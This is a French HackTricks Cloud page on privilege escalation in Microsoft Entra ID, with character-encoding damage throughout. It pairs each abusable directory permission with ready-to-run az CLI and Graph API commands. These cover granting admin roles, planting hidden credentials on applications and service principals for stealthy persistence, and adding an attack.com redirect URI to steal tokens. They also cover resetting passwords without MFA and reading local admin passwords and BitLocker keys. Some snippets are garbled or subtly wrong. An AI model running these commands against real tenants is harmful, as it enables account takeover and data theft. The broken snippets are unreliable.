Az - EntraID Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Note
Note that not all the granular permissions built-in roles have in Entra ID are elegible to be used in custom roles.
Roles
Role: Privileged Role Administrator
Ce rĂŽle contient les permissions granulaires nĂ©cessaires pour pouvoir assigner des rĂŽles Ă des principals et pour donner plus de permissions aux rĂŽles. Les deux actions pourraient ĂȘtre abusĂ©es pour escalader les privilĂšges.
- Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Ajouter plus de permissions Ă un rĂŽle :
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applications
microsoft.directory/applications/credentials/update
Cela permet Ă un attaquant dâajouter des credentials (passwords ou certificates) Ă des applications existantes. Si lâapplication a des permissions privilĂ©giĂ©es, lâattaquant peut sâauthentifier en tant que cette application et obtenir ces privilĂšges.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Cela permet les mĂȘmes actions que applications/credentials/update, mais limitĂ© aux applications Ă annuaire unique.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
En sâajoutant comme owner, un attaquant peut manipuler lâapplication, y compris les credentials et permissions.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Un attaquant peut ajouter un redirect URI aux applications utilisĂ©es par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent le nouveau redirect URL afin de voler leurs tokens. Notez que si lâutilisateur Ă©tait dĂ©jĂ connectĂ© Ă lâapplication, lâauthentification sera automatique sans que lâutilisateur ait besoin dâaccepter quoi que ce soit.
Notez quâil est Ă©galement possible de modifier les permissions demandĂ©es par lâapplication afin dâobtenir plus de permissions, mais dans ce cas lâutilisateur devra accepter Ă nouveau lâinvite demandant toutes les permissions.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
Comme expliquĂ© dans this post il Ă©tait trĂšs courant de trouver des applications par dĂ©faut qui ont des API permissions de type Application qui leur sont assignĂ©es. Une API Permission (comme appelĂ©e dans la console Entra ID) de type Application signifie que lâapplication peut accĂ©der Ă lâAPI et effectuer des actions sans contexte utilisateur (sans quâun user se connecte Ă lâapp), et sans avoir besoin de rĂŽles Entra ID pour lâautoriser. Par consĂ©quent, il est trĂšs courant de trouver des applications hautement privilĂ©giĂ©es dans chaque tenant Entra ID.
Ensuite, si un attaquant dispose dâun quelconque permission/role qui lui permet de mettre Ă jour les credentials (secret o certificate) de lâapplication, lâattaquant peut gĂ©nĂ©rer un nouveau credential puis lâutiliser pour sâauthentifier en tant quâapplication, obtenant ainsi toutes les permissions que lâapplication possĂšde.
Notez que le blog mentionnĂ© partage certaines API permissions dâapplications Microsoft par dĂ©faut courantes, cependant quelque temps aprĂšs ce rapport Microsoft a corrigĂ© ce problĂšme et il nâest dĂ©sormais plus possible de se connecter en tant quâapplications Microsoft. Cependant, il est toujours possible de trouver des custom applications avec de hauts privilĂšges qui pourraient ĂȘtre abusĂ©es.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trouver toutes les autorisations API des applications et marquer les API appartenant Ă Microsoft
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilÚges élevés, l'attaquant peut assumer ces privilÚges.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
Le nouveau mot de passe gĂ©nĂ©rĂ© nâapparaĂźtra pas dans la web console, donc cela peut ĂȘtre un moyen furtif de maintenir la persistence sur un service principal.
Depuis lâAPI, ils peuvent ĂȘtre trouvĂ©s avec :az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Si vous obtenez lâerreur "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid.", câest parce quâil nâest pas possible de modifier la propriĂ©tĂ© passwordCredentials du SP et quâil faut dâabord la dĂ©verrouiller. Pour cela, vous avez besoin dâune permission (microsoft.directory/applications/allProperties/update) qui permet dâexĂ©cuter :
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Cela permet Ă un attaquant dâajouter des credentials aux service principals existants. Si le service principal dispose de privilĂšges Ă©levĂ©s, lâattaquant peut assumer ces privilĂšges.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Comme pour les applications, cette permission permet dâajouter davantage de owners Ă un service principal. PossĂ©der un service principal permet de contrĂŽler ses credentials et ses permissions.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
AprĂšs avoir ajoutĂ© un nouvel owner, jâai essayĂ© de le supprimer mais lâAPI a rĂ©pondu que la mĂ©thode DELETE nâĂ©tait pas prise en charge, mĂȘme si câest la mĂ©thode quâil faut utiliser pour supprimer lâowner. Donc, vous ne pouvez plus supprimer dâowners actuellement.
microsoft.directory/servicePrincipals/disable and enable
Ces permissions permettent de dĂ©sactiver et dâactiver des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il pourrait obtenir accĂšs dâune maniĂšre ou dâune autre afin dâescalader ses privilĂšges.
Notez que pour cette technique, lâattaquant aura besoin de plus de permissions afin de prendre le contrĂŽle du service principal activĂ©.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Ces permissions permettent de crĂ©er et dâobtenir des credentials pour le single sign-on, ce qui pourrait permettre lâaccĂšs Ă des applications tierces.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Groups
microsoft.directory/groups/allProperties/update
Cette permission permet dâajouter des utilisateurs Ă des groupes privilĂ©giĂ©s, ce qui mĂšne Ă une privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Note: Cette permission exclut les groupes assignables Ă un rĂŽle Entra ID.
microsoft.directory/groups/owners/update
Cette permission permet de devenir propriĂ©taire de groupes. Un propriĂ©taire dâun groupe peut contrĂŽler lâappartenance au groupe et les paramĂštres, ce qui peut potentiellement permettre une escalation de privilĂšges vers le groupe.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Note: Cette permission exclut les groupes assignables de rĂŽle Entra ID.
microsoft.directory/groups/members/update
Cette permission permet dâajouter des membres Ă un groupe. Un attaquant pourrait sâajouter lui-mĂȘme ou ajouter des comptes malveillants Ă des groupes privilĂ©giĂ©s, ce qui peut accorder un accĂšs Ă©levĂ©.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Cette permission permet de mettre Ă jour la rĂšgle dâappartenance dans un groupe dynamique. Un attaquant pourrait modifier les rĂšgles dynamiques pour sâinclure lui-mĂȘme dans des groupes privilĂ©giĂ©s sans ajout explicite.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Note: Cette permission exclut les groupes attribuables Ă un rĂŽle Entra ID.
Dynamic Groups Privesc
Il pourrait ĂȘtre possible pour des utilisateurs dâescalader les privilĂšges en modifiant leurs propres propriĂ©tĂ©s pour ĂȘtre ajoutĂ©s comme membres de groupes dynamiques. Pour plus dâinfos, voir :
Users
microsoft.directory/users/password/update
Cette permission permet de rĂ©initialiser le mot de passe des utilisateurs non-admin, permettant Ă un attaquant potentiel dâescalader les privilĂšges vers dâautres utilisateurs. Cette permission ne peut pas ĂȘtre attribuĂ©e Ă des custom roles.
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
microsoft.directory/users/basic/update
Ce privilĂšge permet de modifier les propriĂ©tĂ©s de lâutilisateur. Il est courant de trouver des dynamic groups qui ajoutent des utilisateurs en fonction des valeurs de propriĂ©tĂ©s, donc cette permission pourrait permettre Ă un utilisateur de dĂ©finir la valeur de propriĂ©tĂ© nĂ©cessaire pour ĂȘtre membre dâun dynamic group spĂ©cifique et escalader les privilĂšges.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Des politiques dâaccĂšs conditionnel mal configurĂ©es nĂ©cessitant MFA pourraient ĂȘtre contournĂ©es, voir :
Az - Conditional Access Policies & MFA Bypass
Devices
microsoft.directory/devices/registeredOwners/update
Cette permission permet aux attaquants de sâattribuer eux-mĂȘmes comme propriĂ©taires de devices afin de prendre le contrĂŽle ou dâaccĂ©der Ă des paramĂštres et donnĂ©es spĂ©cifiques au device.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Cette permission permet aux attaquants dâassocier leur compte Ă des devices afin dâobtenir un accĂšs ou de contourner des security policies.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Cette permission permet aux attackers de lire les propriétés des identifiants du compte administrateur local sauvegardé pour les devices Microsoft Entra joined, y compris le password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Cette permission permet dâaccĂ©der aux clĂ©s BitLocker, ce qui pourrait permettre Ă un attaquant de dĂ©chiffrer des disques, compromettant la confidentialitĂ© des donnĂ©es.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Autres permissions intéressantes (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

